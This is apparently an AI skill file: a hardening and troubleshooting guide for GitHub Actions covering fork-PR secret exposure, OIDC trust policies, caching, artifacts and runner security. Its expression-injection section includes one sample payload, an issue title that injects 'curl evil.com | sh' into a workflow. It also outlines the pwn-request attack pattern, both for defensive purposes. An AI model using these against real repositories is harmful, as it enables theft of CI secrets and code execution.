Github Actions

GitHub Actions Operational Guide

Concise pointers for deep GitHub Actions troubleshooting, hardening, and design.

Assumes you already know workflow YAML, jobs/steps, and how to read a run log. This skill covers the operational layer — the parts models gloss over: trigger-context security, OIDC federation, matrix edge cases, cache scope, version-introduced breaking changes, and the security footguns that cause repo compromise.

When to use

Load when the question is about:

• pull_request_target / workflow_run / fork-PR secret leakage / pwn requests
• Expression injection (${{ github.event.* }} in run: blocks)
• OIDC trust setup for AWS / GCP / Azure (cloud creds without long-lived secrets)
• Concurrency groups, cancel-in-progress semantics, queued-runs behavior
• Matrix include/exclude edge cases, fail-fast, max-parallel
• Composite action vs reusable workflow design choice
• Cache scope (default-branch fallback, PR merge-ref isolation, cross-OS keys)
• Artifact v4 / cache v4 breaking changes (immutability, separate save/restore)
• Runner image pinning (ubuntu-latest rollover) and deprecation timing
• GITHUB_TOKEN permissions hardening
• Self-hosted runner security (ephemeral, ARC, JIT)

Do NOT load for: writing a basic on: push workflow, choosing runs-on: ubuntu-latest first time, "what is a job", how to call an action from marketplace — those don't need this skill.

Trigger security: pull_request vs pull_request_target

• pull_request runs from the PR's merge ref (refs/pull/N/merge); for PRs from forks, secrets are stripped and GITHUB_TOKEN is read-only by default. Forked code is sandboxed. Safe to checkout PR head.
• pull_request_target runs from the base branch workflow file with write GITHUB_TOKEN and full secrets. As of late 2025, the workflow file is always sourced from the default branch regardless of PR base.
• The pwn-request pattern: pull_request_target + actions/checkout with ref: ${{ github.event.pull_request.head.sha }} followed by any build/install step (npm install, make, pytest) → arbitrary code execution with write token + secrets in memory. npm's preinstall/postinstall lifecycle scripts are a common exfiltration channel.
• Safe pattern when you must touch PR content: two-workflow split. pull_request builds in isolation and uploads an artifact. workflow_run (after the first completes) runs in trusted context, downloads artifact, validates, then operates. Always unzip artifacts to /tmp and validate before consuming — artifact poisoning is a documented attack.
• workflow_run runs against the default branch's workflow file but github.event.workflow_run.head_* reflects the upstream trigger. Filter via if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success'.

Expression injection

• run: echo "${{ github.event.issue.title }}" is direct shell-template substitution — not parameter passing. Title z"; curl evil.com | sh; # becomes inline script.
• Attacker-controlled fields: issue/PR title and body, comment body, branch name, commit message (first line is github.event.head_commit.message), email address, label names.
• Mitigation: assign to env, reference via $VAR (so the shell handles it as a string, not script):

  env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"
  

• Same applies to actions/github-script script: field and any place expression syntax expands into an interpreter.
• Detect with the script_injections.ql CodeQL pack from GitHub Security Lab.

OIDC federation (no long-lived cloud secrets)

• Required permission at workflow or job: permissions: { id-token: write, contents: read }. Without id-token: write, the runner cannot mint the OIDC JWT.
• Subject claim formats (the sub field cloud trust policies key on):
  • repo:OWNER/REPO:ref:refs/heads/BRANCH — branch-scoped
  • repo:OWNER/REPO:environment:NAME — environment-scoped (only when job declares environment:)
  • repo:OWNER/REPO:pull_request — PR-scoped (forked-PR token has reduced scope)
  • repo:OWNER/REPO:ref:refs/tags/TAG — tag-scoped
• Trust policy must constrain sub. StringLike: token.actions.githubusercontent.com:sub: repo:OWNER/REPO:* is the minimum acceptable — without it, ANY repo could assume the role. Prefer StringEquals against a specific ref/environment.
• AWS: aws-actions/configure-aws-credentials@v4 with role-to-assume (ARN) + aws-region. Audience defaults to sts.amazonaws.com. Calls AssumeRoleWithWebIdentity.
• GCP: google-github-actions/auth@v2 with workload_identity_provider (full resource path: projects/N/locations/global/workloadIdentityPools/POOL/providers/PROVIDER) + service_account (email). Direct WIF (no service account) is preferred.
• Azure: azure/login@v2 with client-id + tenant-id + subscription-id. Set up federated credential on the service principal or user-assigned managed identity, with issuer https://token.actions.githubusercontent.com.
• Custom claims (org-scoped): repo properties prefixed repo_property_* can be added to the JWT for fine-grained policies.

Concurrency

• Workflow-level concurrency: { group: "${{ github.workflow }}-${{ github.ref }}", cancel-in-progress: true } — group is an evaluated expression; one run in-flight per group, new run cancels the prior.
• cancel-in-progress: false (default) queues instead of cancelling. Only ONE queued run is retained — additional triggers replace the queued one (the in-flight run continues unaffected).
• Job-level concurrency: for finer-grained per-deploy serialization (e.g., one production deploy at a time across all branches: group: deploy-prod).
• Common pattern for deploys: cancel-in-progress: false + group on environment to serialize without losing runs.
• Concurrency groups do not span repos or workflows unless you make the group key match.

Matrix semantics

• strategy.matrix.OS: [ubuntu, macos] × node: [18, 20] produces the cross product (4 jobs).
• include: has two distinct behaviors:
  1. If every original-key field in the include entry matches an existing combination, the entry adds extra fields to that combination (no new job).
  2. If any field does not match an original key/value, the entry adds a brand-new combination.
• exclude: removes combinations matching all listed keys. Exclude evaluates before include.
• fail-fast defaults to true — one failed matrix job cancels all in-progress + queued. Set fail-fast: false to see all failures (the standard for cross-platform/cross-version test matrices).
• max-parallel caps simultaneous matrix jobs (the rest queue).
• Hard cap: 256 jobs per matrix per workflow run.
• Matrix outputs collapse: if multiple matrix jobs write outputs.X, the last writer wins. Use unique output names (outputs.${{ matrix.os }}_result) or write to artifacts.

Composite actions vs reusable workflows

• Composite action (action.yml, runs.using: composite, runs.steps: [...]):
  • Runs as a sequence of steps inside the calling job on the caller's runner
  • Cannot access caller secrets unless explicitly passed as inputs: (no secrets: inherit)
  • Can call other actions; can use shell: per step
  • No runs-on: — inherits from caller
• Reusable workflow (.github/workflows/X.yml, on: workflow_call):
  • Called via jobs.<id>.uses: ./.github/workflows/X.yml@SHA (same repo) or OWNER/REPO/.github/workflows/X.yml@REF (cross-repo)
  • Runs as separate job(s) on its own runner — distinct from caller
  • secrets: inherit passes all caller secrets implicitly (only within same org/enterprise)
  • Environment secrets cannot pass through — workflow_call does not support environment: at the trigger level
  • Max 10 levels of nesting (top caller + 9 reusables); loops forbidden
• Pick composite when you need to splice steps into an existing job (e.g., setup-language wrapper). Pick reusable when you want a separately-scheduled, environment-gated job.

Caching (actions/cache@v4)

• key: is exact. restore-keys: is an ordered list of prefixes to fall back to.
• Lookup order: exact key in current branch → key prefix-match in current branch → restore-keys prefixes in current branch → repeat all three on default branch. PR-merge-ref caches are isolated to that PR's re-runs only.
• Scope rules:
  • Default-branch caches are visible to feature branches (write to main, read from anywhere).
  • Feature-branch caches are NOT visible to main or sibling branches.
  • For PRs, also visible: caches from the base branch (including across forks).
• Cross-OS caches not interchangeable by default. Always include ${{ runner.os }} in the key, or set enableCrossOsArchive: true (opt-in, Windows-originated only).
• Limits: 10 GB per repo, LRU eviction, 7-day inactive eviction regardless of size.
• v4 split: actions/cache/restore@v4 and actions/cache/save@v4 are separate. Lets you save conditionally (e.g., only on cache miss + successful build) instead of the implicit POST step writeback in v3.
• Common mistake: caching node_modules instead of ~/.npm. The latter restores faster because npm reuses unpacked content. For Yarn, cache ~/.cache/yarn.

Artifacts (actions/upload-artifact@v4 / download-artifact@v4)

• v4 is immutable per-name within a workflow run — uploading to the same name twice fails rather than merging. Each artifact is now individually addressable via the API immediately after upload.
• v4 is incompatible with v3 — you cannot mix versions across upload and download.
• No automatic merge across jobs. To combine: upload with distinct names (logs-${{ matrix.os }}), then actions/download-artifact@v4 with pattern: + merge-multiple: true, OR use actions/upload-artifact/merge@v4 after the matrix completes.
• 500 artifacts per job cap.
• retention-days: overrides the repo default (90 days max).

Runner images and pinning

• ubuntu-latest is ubuntu-24.04 as of late 2024 (was 22.04 prior). The label rolls automatically over a ~1-2 month window after a new GA. For reproducibility, pin to ubuntu-24.04 explicitly.
• Active GA images: at most 2 GA + 1 beta per OS family. Old images get a deprecation notice + scheduled brownouts (failing runs at intervals) before final removal.
• Image changelog at github.com/actions/runner-images lists package versions per image — diff before/after rollover when "it works locally / breaks in CI."
• windows-latest and macos-latest follow the same rollover pattern; macOS lags Apple GA by ~6 months.

Self-hosted runners

• Persistent runner (default config.sh): retains workspace + state between jobs. Compromise of one job exposes secrets, env vars, and disk artifacts to next job. Avoid for public repos.
• Ephemeral runner (config.sh --ephemeral): processes exactly one job, then auto-deregisters. Required for any runner exposed to fork PRs.
• JIT registration: REST POST /repos/{o}/{r}/actions/runners/generate-jitconfig returns a single-use config token; runner registers, runs one job, exits. Stateless by construction.
• ARC (Actions Runner Controller) for k8s: scale sets, JIT, autoscaling. The reference implementation; recommended over the legacy controller.
• Job assignment race: a runner shutting down may still receive a job. Ephemeral + JIT is the only fully-safe model.

GITHUB_TOKEN permissions

• Default scopes are org-policy controlled: either permissive (read+write across most categories) or restricted (contents: read only, all else none). Check Settings → Actions → Workflow permissions.
• Override per-workflow or per-job with the permissions: key. Listing any scope sets all unlisted scopes to none. Use permissions: {} to drop all (token still authenticates as the workflow but has no scopes).
• Common scopes: contents, pull-requests, issues, id-token, packages, pages, deployments, actions, checks, statuses, security-events. Each: read, write, or none.
• id-token: write is mandatory for OIDC JWT minting.
• The GITHUB_TOKEN is rate-limited at 1,000 req/hour per repo (15,000 on Enterprise Cloud). Bulk operations may exhaust this — use a PAT or GitHub App for those.

Secrets, variables, and masking

• Secrets are masked one-way in logs (any matching substring becomes ***). Variables are not.
• Scopes: organization > environment > repository. Environment secrets are only available to jobs that declare environment: NAME.
• ${{ secrets.X }} and ${{ vars.X }} evaluate server-side before the runner sees them; logs of the rendered YAML never contain the value.
• Mask runtime values: echo "::add-mask::$VALUE". Run before any echo $VALUE. Calling add-mask directly on a ${{ }} interpolation in the same step still leaks because the expression resolves before the masker activates — assign to env first, then mask the env var.
• Multi-line masking: each line must be masked individually, or all lines fed through a single masked variable.
• Outputs cannot be set to a masked value (the runner refuses to expose them).

Environments and protection rules

• environment: NAME on a job gates execution behind protection rules.
• Required reviewers: up to 6 people/teams. Only one needs to approve.
• Wait timer: minutes value, no documented hard cap (formerly capped at 30 days).
• Deployment branches: restrict which refs can deploy via patterns; alternative is "selected branches and tags" with explicit allowlist.
• Use environments for gated production deploys instead of if: github.actor == 'X' — actor checks are bypassable in some forked-PR contexts and offer no audit trail.

Marketplace action security

• Pin to commit SHA, not tag — actions/checkout@v4 becomes actions/checkout@A1B2.... Tags are mutable; a compromised maintainer can re-point v4 silently. SHA pinning is the only immutable reference (would require SHA-1 collision to subvert).
• Dependabot's package-ecosystem: github-actions updater understands SHA pinning and proposes upgrades with the resolved tag in the PR body.
• The 2024-2025 tj-actions/changed-files and reviewdog/action-setup compromises propagated through tag re-points; SHA-pinned consumers were unaffected.
• For supply-chain hardening, step-security/harden-runner provides egress filtering and tampering detection on Linux runners.

Triggers — non-obvious semantics

• schedule: cron: "*/5 * * * *" — minimum interval 5 minutes. UTC timezone. Runs are best-effort and can skip during high load. Cron runs only on the default branch's workflow file.
• workflow_dispatch.inputs.<name>.type: string, choice (with options:), boolean, number, or environment. Inputs are accessible via inputs.<name> (not github.event.inputs in newer syntax — both work).
• repository_dispatch external trigger: event_type is the dispatcher's chosen string; client_payload exposed via github.event.client_payload (max 10 top-level properties, 65 KB).
• push and pull_request paths:/paths-ignore: use minimatch globs. paths-ignore runs before paths; if a file matches paths-ignore, the workflow is skipped even if it matches paths.
• branches: matches against the ref triggering the event — for pull_request, it's the base branch (target of the PR), not the head.

Expressions — operational quick-ref

• Functions: toJSON(v), fromJSON(s), hashFiles(glob), contains(haystack, needle), startsWith, endsWith, format("{0}-{1}", a, b), join(array, sep). hashFiles glob is rooted at workspace; result is SHA-256.
• Status: success() (default if if: references a status), failure(), cancelled(), always(). always() runs even if cancelled — use it for cleanup, but it makes the workflow uncancellable from the UI for that step.
• Operators: ==, !=, <, <=, >, >=, &&, ||, !. String comparison is case-insensitive. == does loose type coercion to numbers.
• Falsy values: false, 0, -0, "", null. Missing context fields evaluate to null (not error).
• Object filter obj.*.field returns array of field values across all entries.
• if: at the top level of a job/step accepts either bare expression or ${{ }}-wrapped — both work, and combining causes parsing surprises with &&/|| outside the braces.

Limits (current values to plan around)

• Job execution: 6 hours on GitHub-hosted runners; 5 days on self-hosted.
• Workflow run total time: 35 days including queue + approvals.
• Matrix: 256 jobs/run.
• API: 1,000 req/hour for GITHUB_TOKEN per repo (15k Enterprise Cloud).
• Concurrent jobs: 20 (Free) / 40 (Pro) / 500 (Enterprise) total across the account; larger runners up to 1,000.
• Trigger rate: 1,500 events / 10 sec / repo before throttling; 500 workflow runs / 10 sec / repo before queue blocks new triggers.
• Artifacts: 500 per job. Cache: 10 GB per repo.

Debugging

• Repository secret ACTIONS_STEP_DEBUG=true enables ::debug:: log output (per-step expression resolution, env vars).
• Repository secret ACTIONS_RUNNER_DEBUG=true enables runner internals (network, file I/O).
• Workflow commands: ::group::TITLE / ::endgroup:: for collapsible blocks; ::error file=path,line=N::msg, ::warning::, ::notice:: create annotations attached to commits.
• Re-run with debug logging from UI: enables both above for one run only.
• act (nektos/act) for local execution: useful for fast iteration on logic, but cannot perfectly emulate runner images, OIDC, secrets behavior, or matrix scheduling. Treat its results as approximate.

Authoritative references

Official GitHub docs (docs.github.com/en/actions):

• Concurrency
• Matrix
• Reusable workflows
• OIDC overview
• OIDC AWS
• Events that trigger workflows
• Permissions / GITHUB_TOKEN
• Expressions
• Workflow commands (add-mask)
• Actions limits

Action repos:

• actions/cache — scope rules in README
• actions/runner-images — image CHANGELOGs
• actions/upload-artifact — v4 migration notes
• aws-actions/configure-aws-credentials
• google-github-actions/auth
• Azure/login

Security research:

• GitHub Security Lab — Preventing pwn requests
• GitHub Security Lab — Untrusted input / expression injection
• Step Security blog — supply-chain attacks, hardened-runner guidance

Guardrails

Before recommending a workflow change that touches secrets, triggers, or write-scoped tokens:

1. Quote the exact trigger and permissions: scope being granted.
2. State whether the workflow consumes any attacker-controlled input (github.event.* from PR/issue/comment).
3. If pull_request_target or workflow_run is involved, verify there is no checkout-then-execute of PR-controlled content.
4. For OIDC, name the cloud sub constraint so the role cannot be assumed by other repos.

Default tokens are too generous; never weaken permissions: to fix a 403 — fix the missing scope explicitly.